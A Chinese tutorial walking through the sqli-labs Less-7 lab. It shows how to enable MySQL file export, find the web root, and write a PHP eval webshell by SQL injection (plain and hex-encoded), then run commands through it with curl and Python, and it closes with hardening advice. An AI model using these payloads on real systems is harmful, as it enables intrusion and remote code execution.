从零突破PHPStudy环境下SQL注入写入Webshell的实战指南当你在本地搭建的sqli-labs第七关反复尝试into outfile写入木马却屡屡失败时那种挫败感我深有体会。三年前我第一次接触这个关卡花了整整两天时间才搞明白为什么简单的SQL注入语句无法生成webshell文件。本文将带你绕过那些新手必踩的坑从环境配置到路径处理手把手实现从注入点到webshell的完整控制链。1. 环境准备破解secure_file_priv的权限困局在Windows平台使用PHPStudy套件时MySQL默认会阻止into outfile操作这是新手遇到的第一个拦路虎。根本原因在于MySQL的secure_file_priv参数它像一道安全闸门控制着文件的导入导出权限。查看当前配置状态SHOW VARIABLES LIKE secure_file_priv;典型返回结果可能是------------------------- | Variable_name | Value | ------------------------- | secure_file_priv | NULL | -------------------------当值为NULL时表示禁止所有文件导出操作若为目录路径则只允许向该目录写入。我们需要将其设置为空值关闭PHPStudy所有服务打开mysql.ini文件通常位于PHPStudy安装目录的MySQL\子文件夹在[mysqld]段添加secure_file_priv保存后重启MySQL服务注意部分PHPStudy版本可能需要同时修改my-default.ini和my.ini才能生效验证配置是否成功SELECT global.secure_file_priv;空字符串结果表示配置生效此时系统将允许向任意有权限的目录写入文件。2. 绝对路径探秘五种实战定位技巧知道网站根目录的绝对路径是用into outfile写入文件的前提条件。不同于原文仅提到通过basedir推导的方法这里分享更多实战技巧方法一利用MySQL内置函数-- 获取MySQL安装路径 SELECT basedir; -- 获取数据存储路径 SELECT datadir;典型Windows返回C:/phpstudy_pro/MySQL/结合PHPStudy的默认网站目录结构通常路径为安装目录下的www文件夹。方法二触发错误信息构造一个包含非法路径的注入语句id1)) union select 1,load_file(invalid_path),3--错误信息中可能包含服务器真实路径。方法三通过phpinfo页面如果靶场有其他页面调用了phpinfo()函数搜索_SERVER[DOCUMENT_ROOT]可直接获取。方法四利用系统表-- 查看MySQL可写目录 SELECT * FROM mysql.db WHERE File_privY;方法五路径爆破字典当其他方法失效时可尝试常见组合C:/phpstudy/www/ D:/phpstudy_pro/www/ E:/xampp/htdocs/3. 文件写入的终极陷阱路径转义艺术即使配置正确并获取了路径文件写入仍可能因路径格式错误而失败。在Windows系统下需要特别注意路径格式对比表格式类型示例适用场景单斜杠C:/path/to/file常规SQL语句双斜杠C://path//to//file防转义场景反斜杠C:\path\to\file需转义为\\网络路径\\127.0.0.1\share需特殊权限推荐在SQL注入中使用双斜杠格式union select 1,?php eval($_POST[cmd]);?,3 into outfile C://phpstudy_pro//www//sqli-labs//less-7//shell.php--常见错误及解决方案权限不足确保目标目录对MySQL服务账户可写文件名冲突尝试使用随机文件名如shell_rand.php内容截断避免特殊字符可用hex编码union select 1,0x3c3f706870206576616c28245f504f53545b27636d64275d293b203f3e,3 into outfile C://target.php--4. 连接后门的进阶姿势从菜刀到CURL传统教学常推荐使用中国菜刀连接但现代环境中更推荐这些方法方法一CURL命令行curl -X POST http://localhost/sqli-labs/less-7/shell.php -d cmdsystem(whoami);方法二Python requests库import requests response requests.post( http://target/shell.php, data{cmd: echo PHP_VERSION;} ) print(response.text)方法三浏览器插件HackBar (Firefox)Postman (Chrome)安全提示这些操作仅限本地测试环境实际渗透测试需获得书面授权5. 防御视角如何防止into outfile攻击了解攻击手段后从开发者角度应做好这些防护MySQL配置加固secure_file_priv/tmp local_infile0PHP安全设置open_basedir /var/www/html:/tmp disable_functions exec,system,passthru代码层防护// 使用预处理语句 $stmt $conn-prepare(SELECT * FROM users WHERE id?); $stmt-bind_param(i, $_GET[id]);在sqli-labs第七关的实战中最让我印象深刻的是路径转义问题。有次明明所有配置都正确却因为路径中少写一个斜杠导致两小时调试白费。这种细节正是新手和老手的区别所在。